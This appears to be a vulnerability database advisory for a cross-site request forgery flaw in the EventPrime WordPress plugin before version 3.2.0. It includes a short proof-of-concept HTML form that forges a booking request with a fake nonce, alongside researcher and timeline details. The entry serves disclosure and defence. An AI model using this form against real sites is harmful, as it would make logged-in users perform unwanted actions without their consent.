WordPress Plugin Vulnerabilities
EventPrime < 3.2.0 - Booking Creation via CSRF
Description
The plugin does not have CSRF checks when creating bookings, which could allow attackers to make logged in users create unwanted bookings via CSRF attacks.
Proof of Concept
Create an Event, noting its ID. Add a ticket type to the Event (the details don't matter). As a logged-in user, visit a page with the following form, replace the event ID, and submit the form. Note that a new Booking is created, despite the incorrect nonce. <html> <body> <form action="https://example.com/wp-admin/admin-ajax.php" method="POST"> <input type="text" name="action" value="ep_save_event_booking" /> <textarea name="data"> ep_event_booking_event_id=EVENT_ID&ep_event_booking_user_id=1&ep_event_booking_total_price=0&ep_event_booking_total_tickets=1&ep_save_event_booking_nonce=1234 </textarea> <input type="submit" value="Submit request" /> </form> </body> </html>
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Alex Sanford
Submitter
Alex Sanford
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-10-09 (about 7 months ago)
Added
2023-10-09 (about 7 months ago)
Last Updated
2023-10-11 (about 7 months ago)